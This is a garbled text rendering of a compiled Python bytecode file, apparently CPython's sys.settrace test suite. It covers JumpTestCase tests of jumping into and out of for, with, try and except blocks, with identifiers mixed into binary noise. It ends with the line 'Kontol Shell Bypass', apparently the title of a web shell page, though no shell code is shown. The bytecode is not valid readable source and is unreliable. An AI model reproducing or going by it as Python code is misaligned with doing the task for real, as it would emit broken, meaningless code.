z6JumpTestCase.test_jump_over_break_in_try_finally_blockcCsF|�d�|s$dD]}|�d�qn|�d�|�d�|�d�dS�Nr!r+r3rAr5r�r&r1rrr
�$test_jump_over_for_block_before_else�s


z1JumpTestCase.test_jump_over_for_block_before_elsec�sV|�d�|s4tdg�2z3dHW}|�d�q6n|�d�|�d�|�d�dS�Nr!r9r3rAr5r�r3r1rrr
�*test_jump_over_async_for_block_before_else�s


z7JumpTestCase.test_jump_over_async_for_block_before_elseZaftercCs|�d�|�d�dSr;r&r'rrr
�test_no_jump_too_far_forwards�s
z*JumpTestCase.test_no_jump_too_far_forwardsrI�beforecCs|�d�|�d�dSr;r&r'rrr
�test_no_jump_too_far_backwards�s
z+JumpTestCase.test_no_jump_too_far_backwards�exceptcCs,z|�d�Wn|�d��Yn0dS�Nr,r3r&r'rrr
�test_no_jump_to_except_1�s

z%JumpTestCase.test_no_jump_to_except_1cCs2z|�d�Wnty,|�d��Yn0dSrs�rr�r'rrr
�test_no_jump_to_except_2�s

z%JumpTestCase.test_no_jump_to_except_2c
CsFz|�d�Wn2ty@}z|�d�|�WYd}~n
d}~00dSrsrurrrr
�test_no_jump_to_except_3�s

z%JumpTestCase.test_no_jump_to_except_3c
CsJz|�d�Wn6ttfyD}z|�d�|�WYd}~n
d}~00dSrs)rr�rZrrrr
�test_no_jump_to_except_4�s

z%JumpTestCase.test_no_jump_to_except_4ZintocCs"|�d�dD]}|�d�qdS)Nr!r*r9r&r1rrr
�$test_no_jump_forwards_into_for_block�s
z1JumpTestCase.test_no_jump_forwards_into_for_blockc�s4|�d�tddg�2z3dHW}|�d�q6dSr%r3r1rrr
�*test_no_jump_forwards_into_async_for_block�s
z7JumpTestCase.test_no_jump_forwards_into_async_for_blockcCs"dD]}|�d�q|�d�dS)Nr*r,r9r&r1rrr
�%test_no_jump_backwards_into_for_block�sz2JumpTestCase.test_no_jump_backwards_into_for_blockc�s4tddg�2z3dHW}|�d�q6|�d�dSr%r0r1rrr
�+test_no_jump_backwards_into_async_for_blocksz8JumpTestCase.test_no_jump_backwards_into_async_for_blockcCsB|�d�t|d��|�d�Wd�n1s40YdSr%rEr'rrr
�%test_no_jump_forwards_into_with_block
s
z2JumpTestCase.test_no_jump_forwards_into_with_blockc	�sV|�d�t|d�4IdH� |�d�Wd�IdHqR1IdHsH0YdSr%rGr'rrr
�+test_no_jump_forwards_into_async_with_blocks
z8JumpTestCase.test_no_jump_forwards_into_async_with_block)r!r,rqcCsBt|d��|�d�Wd�n1s*0Y|�d�dSr%rAr'rrr
�&test_no_jump_backwards_into_with_blocks(z3JumpTestCase.test_no_jump_backwards_into_with_blockc	�sVt|d�4IdH� |�d�Wd�IdHqH1IdHs>0Y|�d�dSr%rCr'rrr
�,test_no_jump_backwards_into_async_with_blocks4z9JumpTestCase.test_no_jump_backwards_into_async_with_blockc	Cs4|�d�z|�d�W|�d�n|�d�0dSrKr&r'rrr
�,test_no_jump_forwards_into_try_finally_block"s
z9JumpTestCase.test_no_jump_forwards_into_try_finally_blockc	Cs4z|�d�W|�d�n|�d�0|�d�dSrIr&r'rrr
�-test_no_jump_backwards_into_try_finally_block*sz:JumpTestCase.test_no_jump_backwards_into_try_finally_blockcCs6|�d�z|�d�Wn|�d��Yn0dSrKr&r'rrr
�+test_no_jump_forwards_into_try_except_block2s

z8JumpTestCase.test_no_jump_forwards_into_try_except_blockcCs6z|�d�Wn|�d��Yn0|�d�dSrMr&r'rrr
�,test_no_jump_backwards_into_try_except_block;s
z9JumpTestCase.test_no_jump_backwards_into_try_except_blockc
CsnzddWnRty2|�d�|�d�Yn.ty^}z|�d�WYd}~n
d}~00|�d�dSrPrQrrrr
�$test_no_jump_between_except_blocks_2Es
 z1JumpTestCase.test_no_jump_between_except_blocks_2c	Cs4|�d�z|�d�W|�d�n|�d�0dSrKr&r'rrr
�test_jump_into_finally_blockPs
z)JumpTestCase.test_jump_into_finally_block)r,rAr5c	CsRz,|�d�|�d�W|�d�|�d�n|�d�|�d�0|�d�dS)Nr,r9r.rAr5r&r'rrr
�+test_jump_into_finally_block_from_try_blockXs

�
z8JumpTestCase.test_jump_into_finally_block_from_try_block)r!r9r!r9r.c	Cs4|�d�z|�d�W|�d�n|�d�0dSrKr&r'rrr
�test_jump_out_of_finally_blockbs
z+JumpTestCase.test_jump_out_of_finally_blockzinto an 'except'cCs4|�d�z|�d�Wn|�d�Yn0dSrKr&r'rrr
�#test_no_jump_into_bare_except_blockjs

z0JumpTestCase.test_no_jump_into_bare_except_blockcCs:|�d�z|�d�Wnty4|�d�Yn0dSrK�rrLr'rrr
�(test_no_jump_into_qualified_except_blockrs

z5JumpTestCase.test_no_jump_into_qualified_except_block)r,r.rAcCsJz|�d�|�d�Wn"|�d�|�d��Yn0|�d�dS�Nr,r9r.rAr�r&r'rrr
�2test_no_jump_into_bare_except_block_from_try_blockzs


z?JumpTestCase.test_no_jump_into_bare_except_block_from_try_blockcCsPz|�d�|�d�Wn(ty@|�d�|�d��Yn0|�d�dSr�)rrRr'rrr
�7test_no_jump_into_qualified_except_block_from_try_block�s


zDJumpTestCase.test_no_jump_into_qualified_except_block_from_try_block)r!r9rAzout of an 'except'cCsF|�d�z|�d�ddWn |�d�|�d�Yn0dS�Nr!r9rrAr5r&r'rrr
�%test_no_jump_out_of_bare_except_block�s


z2JumpTestCase.test_no_jump_out_of_bare_except_blockcCsL|�d�z|�d�ddWn&tyF|�d�|�d�Yn0dSr�r�r'rrr
�*test_no_jump_out_of_qualified_except_block�s


z7JumpTestCase.test_no_jump_out_of_qualified_except_block)r!r,r.rIcCsv|�d�t|d��|�d�Wd�n1s40Yt|d��|�d�Wd�n1sh0YdSrVrEr'rrr
�test_jump_between_with_blocks�s

(z*JumpTestCase.test_jump_between_with_blocksc	�s�|�d�t|d�4IdH� |�d�Wd�IdHqR1IdHsH0Yt|d�4IdH� |�d�Wd�IdHq�1IdHs�0YdSrVrGr'rrr
�#test_jump_between_async_with_blocks�s

4z0JumpTestCase.test_jump_between_async_with_blocksc	CsVz$|�d�W|�d�|�d�dS|�d�|�d�YdS0|�d�dS)Nr,r3r.r5r&r'rrr
�-test_no_jump_over_return_out_of_finally_block�s

�

z:JumpTestCase.test_no_jump_over_return_out_of_finally_blockcCsF|�d�|s$dD]}|�d�qn|�d�|�d�|�d�dSrkr&r1rrr
�'test_no_jump_into_for_block_before_else�s


z4JumpTestCase.test_no_jump_into_for_block_before_elsec�sV|�d�|s4tdg�2z3dHW}|�d�q6n|�d�|�d�|�d�dSrmr3r1rrr
�-test_no_jump_into_async_for_block_before_else�s


z:JumpTestCase.test_no_jump_into_async_for_block_before_elsecCs|�tdddg�dS)Nr,ZSpamT)r�rrrrr
�test_no_jump_to_non_integers�sz)JumpTestCase.test_no_jump_to_non_integerscCs
t�dSr)rrrrr
�#test_no_jump_without_trace_function�sz0JumpTestCase.test_no_jump_without_trace_functioncCs0i}tdd|�|d}|�|dddg�dS)Na�def f(output):        # line 0
            x = 0                     # line 1
            y = 1                     # line 2
            '''                       # line 3
            %s                        # lines 4-1004
            '''                       # line 1005
            x += 1                    # line 1006
            output.append(x)          # line 1007
            return)a�







































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































r�r,i�r)r�r�)r�dr�rrr
�test_large_function�s��	z JumpTestCase.test_large_functioncsjtddd��G�fdd�d�}t|dd�}t�|j�dgi}t�|�t�d�|�gd	�|d�dS)
Nzd
# Comments don't count.
output.append(2)  # firstlineno is here.
output.append(3)
output.append(4)
z
<fake module>r�cseZdZ�ZdS)z<JumpTestCase.test_jump_to_firstlineno.<locals>.fake_functionN)rrrr�r�rrr
�
fake_function�sr�r,rr)r,r9r,r9r3)�compilerrRrSr|r�r)rr�r�r�rr�r
�test_jump_to_firstlineno�s�

z%JumpTestCase.test_jump_to_firstlinenor$z5can't jump from the 'call' trace event of a new frame)r~rcs*��d��fdd�}|���d�dS)Nr!cs��d�dS)Nr9r&rr'rr
�nestedsz3JumpTestCase.test_no_jump_from_call.<locals>.nestedr.r&)rr�rr'r
�test_no_jump_from_call�s
z#JumpTestCase.test_no_jump_from_callr(z'can only jump from a 'line' trace eventcCs|�d�dSr r&r'rrr
�test_no_jump_from_return_events
z+JumpTestCase.test_no_jump_from_return_eventrPcCs|�d�dddS)Nr!rr&r'rrr
�!test_no_jump_from_exception_events
z.JumpTestCase.test_no_jump_from_exception_event)r~cs$�fdd�}t|����d�dS)Nc3s��d�dVdS)Nr,r9r&rr'rr
�gens
z.JumpTestCase.test_jump_from_yield.<locals>.genr.)r�r)rr�rr'r
�test_jump_from_yields
z!JumpTestCase.test_jump_from_yield)Nr&F)Nr&F)Nr&)Nr&)\rrrr�rr�rr#r$r(r)r.r/r2r4r5r6r7rRr9r<r�r=r>r?r@rBrDrFrHrJrLrNrOrTrUrWrXrZr[r]r^r`rarcrfrgrhrjrlrnrorqrtrvrwrxryrzr{r|r}r~rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrr
rsX�

�






	






















	






	
	

























	



	







	
	


	




�
�
r�__main__).rrZunittestrRr�r��	functoolsrrrrrr"rur*r0r1r7r?rCrEr$rMrNrXrYr[r\r^rdrerfrirrZTestCaser�r�Zcpython_onlyr�r�rrrrr�mainrrrr
�<module>s�



	
	







		





��`&


Kontol Shell Bypass